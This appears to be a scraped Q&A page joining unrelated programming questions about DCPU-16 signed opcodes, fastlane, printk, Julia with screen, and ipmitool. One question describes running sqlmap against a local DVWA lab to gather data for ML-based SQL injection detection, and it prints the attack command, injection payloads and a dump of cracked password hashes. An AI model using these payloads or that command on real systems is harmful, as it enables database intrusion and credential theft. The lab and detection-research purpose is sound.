Signed arithmetic/control-flow in DCPU-16? - dcpu-16

DCPU-16 (the CPU in Notch's new game) doesn't seem to have any signed IF/MUL/DIV instructions.
Is there still a way to do signed arithmetic/control-flow that isn't super incredibly painful?

The new DCPU spec published by Notch the other day, does have signed arithmetic instructions:
Unsigned | Signed
==================
MUL | MLI
DIV | DVI
SHR | ASR
IFG | IFA
IFL | IFU

Related

How can I get SQL injection attack data by using sqlmap?

I'm writing thesis for my university.
My theme of thesis is "SQL injection detection by using Machine Learning"
To use Machine Learning, first of all, I need thousands of learning data of SQL injection attack.
For that, I proceeded below process.
Install Virtual Box
Install Kali Linux on Virtual Box
Install DVWA(Damn Vulnerable Web Application) on Kali Linux
Attack to DVWA by using sqlmap
On No.4, I succeeded in attacking to DVWA, but I don't know how to get bunch of attacking data.
What I want to get is bunch of actual attacking SQL.
1. launched server.
โ”Œโ”€โ”€(root๐Ÿ’€kali)-[/home/kali]
โ””โ”€# service apache2 start
โ”Œโ”€โ”€(root๐Ÿ’€kali)-[/home/kali]
โ””โ”€# service mysql start
2. Got cookie and target URL
document.cookie
"security=low; PHPSESSID=cookieinfo"
3 Attack
โ”Œโ”€โ”€(root๐Ÿ’€kali)-[/usr/bin]
โ””โ”€# sqlmap -o -u "http://localhost/DVWA-master/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="PHPSESSID=[cookieinfo];security=low" --dump
___
__H__
___ ___[,]_____ ___ ___ {1.4.11#stable}
|_ -| . ['] | .'| . |
|___|_ [.]_|_|_|__,| _|
|_|V... |_| http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting # 10:08:01 /2020-12-01/
[10:08:01] [INFO] resuming back-end DBMS 'mysql'
[10:08:01] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: id (GET)
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
Payload: id=1' AND (SELECT 1995 FROM(SELECT COUNT(*),CONCAT(0x7162707a71,(SELECT (ELT(1995=1995,1))),0x71626a7871,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- qoRd&Submit=Submit
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: id=1' AND (SELECT 9863 FROM (SELECT(SLEEP(5)))PIFI)-- JYNK&Submit=Submit
Type: UNION query
Title: MySQL UNION query (NULL) - 2 columns
Payload: id=1' UNION ALL SELECT NULL,CONCAT(0x7162707a71,0x744e45686f7a55414a6744636c497367666d62567679764247415656677779516a76584474645269,0x71626a7871)#&Submit=Submit
---
[10:08:01] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Debian
web application technology: Apache 2.4.46
back-end DBMS: MySQL >= 5.0 (MariaDB fork)
[10:08:01] [WARNING] missing database parameter. sqlmap is going to use the current database to enumerate table(s) entries
[10:08:01] [INFO] fetching current database
[10:08:01] [INFO] fetching tables for database: 'dvwa'
[10:08:01] [INFO] fetching columns for table 'users' in database 'dvwa'
[10:08:01] [INFO] fetching entries for table 'users' in database 'dvwa'
[10:08:01] [INFO] recognized possible password hashes in column 'password'
do you want to store hashes to a temporary file for eventual further processing with other tools [y/N] y
[10:08:07] [INFO] writing hashes to a temporary file '/tmp/sqlmaphbMPEH3181/sqlmaphashes-7QbpSl.txt'
do you want to crack them via a dictionary-based attack? [Y/n/q] y
[10:08:12] [INFO] using hash method 'md5_generic_passwd'
[10:08:12] [INFO] resuming password 'password' for hash '5f4dcc3b5aa765d61d8327deb882cf99'
[10:08:12] [INFO] resuming password 'charley' for hash '8d3533d75ae2c3966d7e0d4fcc69216b'
[10:08:12] [INFO] resuming password 'letmein' for hash '0d107d09f5bbe40cade3de5c71e9e9b7'
[10:08:12] [INFO] resuming password 'abc123' for hash 'e99a18c428cb38d5f260853678922e03'
Database: dvwa
Table: users
[5 entries]
+---------+-----------------------------------------+---------+---------------------------------------------+-----------+------------+---------------------+--------------+
| user_id | avatar | user | password | last_name | first_name | last_login | failed_login |
+---------+-----------------------------------------+---------+---------------------------------------------+-----------+------------+---------------------+--------------+
| 1 | /DVWA-master/hackable/users/admin.jpg | admin | 5f4dcc3b5aa765d61d8327deb882cf99 (password) | admin | admin | 2020-11-29 01:54:52 | 0 |
| 2 | /DVWA-master/hackable/users/gordonb.jpg | gordonb | e99a18c428cb38d5f260853678922e03 (abc123) | Brown | Gordon | 2020-11-29 01:54:52 | 0 |
| 3 | /DVWA-master/hackable/users/1337.jpg | 1337 | 8d3533d75ae2c3966d7e0d4fcc69216b (charley) | Me | Hack | 2020-11-29 01:54:52 | 0 |
| 4 | /DVWA-master/hackable/users/pablo.jpg | pablo | 0d107d09f5bbe40cade3de5c71e9e9b7 (letmein) | Picasso | Pablo | 2020-11-29 01:54:52 | 0 |
| 5 | /DVWA-master/hackable/users/smithy.jpg | smithy | 5f4dcc3b5aa765d61d8327deb882cf99 (password) | Smith | Bob | 2020-11-29 01:54:52 | 0 |
+---------+-----------------------------------------+---------+---------------------------------------------+-----------+------------+---------------------+--------------+
[10:08:12] [INFO] table 'dvwa.users' dumped to CSV file '/root/.local/share/sqlmap/output/localhost/dump/dvwa/users.csv'
[10:08:12] [INFO] fetching columns for table 'guestbook' in database 'dvwa'
[10:08:12] [INFO] fetching entries for table 'guestbook' in database 'dvwa'
Database: dvwa
Table: guestbook
[1 entry]
+------------+------+-------------------------+
| comment_id | name | comment |
+------------+------+-------------------------+
| 1 | test | This is a test comment. |
+------------+------+-------------------------+
[10:08:13] [INFO] table 'dvwa.guestbook' dumped to CSV file '/root/.local/share/sqlmap/output/localhost/dump/dvwa/guestbook.csv'
[10:08:13] [INFO] fetched data logged to text files under '/root/.local/share/sqlmap/output/localhost'
[*] ending # 10:08:13 /2020-12-01/
What I want to get is bunch of actual attacking SQL.
Please anyone help me. Thank you.

get error when getting beta version with fastlane

When I release beta with fastlane in React native project build_app, I have this problem.
platform :ios do
desc "Push a new beta build to TestFlight"
lane :beta do
increment_build_number(xcodeproj: "TestApp.xcodeproj")
build_app(
workspace: "TestApp.xcworkspace",
scheme: "TestApp",
include_bitcode: true)
end
end
[14:13:21]: Error packaging up the application
------+------------------------+-------------+
| fastlane summary |
+------+------------------------+-------------+
| Step | Action | Time (in s) |
+------+------------------------+-------------+
| 1 | default_platform | 0 |
| 2 | increment_build_number | 1 |
| ๐Ÿ’ฅ | build_app | 366 |
+------+------------------------+-------------+
[14:13:21]: fastlane finished with errors
[!] Error packaging up the application
Could someone help me with this one.
In my case, I added a new distribution certificate which was in my keychain in first place. I removed the distribution certificate and it worked. It may not be the solution but can check

harmful printk effect in linux kernel module

Here is a part of my code.
for (i=0;i<29;i++)
{
*reg0= (unsigned int)(src[i][0]<<24 | (src[i][1]<<16) | (src[i][2]<<8) | src[i][3]);
printk("");
*reg4= (unsigned int)(src[i][4]<<24 | (src[i][5]<<16) | (src[i][6]<<8) | src[i][7]);
printk("");
*reg8= (unsigned int)(src[i][8]<<24 | (src[i][9]<<16) | (src[i][10]<<8) | src[i][11]);
printk("");
*reg12= (unsigned int)(src[i][12]<<24 | (src[i][13]<<16) | (src[i][14]<<8) | 0);
printk("");
}
it is a for loop used in a module built under petalinux. it works very well after doing insmod and execution the user application. But when I comment printk("") the module doesn't work any more and it seems like it gets lost in recursion. I have to suppress printk becase it takes much time execution.
Any help would be appreciated.
regards.

Strange bug in Julia or Screen

On Debian 8 Linux, I use vim together with screen to send lines from vim to a julia session. Today, I tried https://github.com/Keno/Cxx.jl. I followed the instructions there (i.e. I compiled the latest version 0.5.0-dev+3609 of Julia). The following bug appeared when I tried example 1, I could pinpoint it to the following simple steps:
Create the following files (don't overwrite your own files):
printf "using Cxx\ncxx\"\"\"#include<iostream> \"\"\"\ncxx\"\"\"void testfunction(){std::cout<<\"worked\"<< std::endl;}\"\"\"\njulia_function() = #cxx testfunction()\n" > start
and printf "julia_function()\n" > freeze
Open terminal 1 (I use gnome-terminal) and write screen -S session and then start Julia with julia. It should look like
_
_ _ _(_)_ | A fresh approach to technical computing
(_) | (_) (_) | Documentation: http://docs.julialang.org
_ _ _| |_ __ _ | Type "?help" for help.
| | | | | | |/ _` | |
| | |_| | | | (_| | | Version 0.5.0-dev+3609 (2016-04-18 07:07 UTC)
_/ |\__'_|_|_|\__'_| | Commit a136a6e (0 days old master)
|__/ | x86_64-linux-gnu
julia>
Open terminal 2 and do
screen -S session -p 0 -X eval "readreg p start" "paste p" Terminal 1 should now look like
_
_ _ _(_)_ | A fresh approach to technical computing
(_) | (_) (_) | Documentation: http://docs.julialang.org
_ _ _| |_ __ _ | Type "?help" for help.
| | | | | | |/ _` | |
| | |_| | | | (_| | | Version 0.5.0-dev+3609 (2016-04-18 07:07 UTC)
_/ |\__'_|_|_|\__'_| | Commit a136a6e (0 days old master)
|__/ | x86_64-linux-gnu
julia> using Cxx
julia> cxx"""#include&ltiostream&gt """
true
julia> cxx"""void testfunction(){std::cout<&lt"worked"&lt&lt std::endl;}"""
true
julia> julia_function() = #cxx testfunction()
julia_function (generic function with 1 method)
julia>
Now the strange bug appears: writing "ju", using TAB to complete to "julia_function" and adding "()" by hand in terminal 1 leads to
julia> julia_function()
worked
julia>
But if I do steps 1, 2, 3 and then screen -S session -p 0 -X eval "readreg p freeze" "paste p" in terminal 2 or write julia_function() in terminal 1 without using TAB to complete then I get a freeze in terminal 1:
julia> julia_function()
If I do steps 1, 2, 3, use TAB completion as described above, then (i.e. after the first call, which compiles the function) screen -S session -p 0 -X eval "readreg p freeze" "paste p" in terminal 2 and julia_function() without using TAB in terminal 1 work as expected (it prints "worked") and don't cause a freeze.
If I do not use screen at all, it works (with and without TAB). Can you please tell me what is going on here?

IPMItool sel command on PER610 does not provide detailed information

ipmitool sel elist
on R610 output:
1 | 08/01/2011 | 23:18:11 | Event Logging Disabled SEL | Log area reset/cleared | Asserted
2 | Pre-Init Time-stamp | Physical Security Intrusion | General Chassis intrusion | Asserted
3 | Pre-Init Time-stamp | Physical Security Intrusion | General Chassis intrusion | Deasserted
4 | 01/31/2012 | 11:32:50 | Temperature #0x30 | Upper Critical going high
on R810 its:
Severity : Normal
Date and Time : System Boot
Description : The chassis is closed while the power is On.
Event Data : 0x80 0x02 0xff
I am concern about severity of message. I am developing a code which will send an email if the message is critical. But in the case of R610 there is no way to found severity of message.
If you're trying to read the actual data from the SEL then you need to use the ipmitool sel get command and not the ipmitool sel elist command.
the ipmitool sel get command returns the detailed breakdown of the information in the event log for the item in question.
e.g. from one of my own systems:
machine:/ # ipmitool sel get 0x2c
SEL Record ID : 002c
Record Type : 02
Timestamp : 02/13/2012 17:49:21
Generator ID : 0021
EvM Revision : 04
Sensor Type : Voltage
Sensor Number : 60
Event Type : Threshold
Event Direction : Assertion Event
Event Data : 02ffff
Description : Lower Critical going low

Resources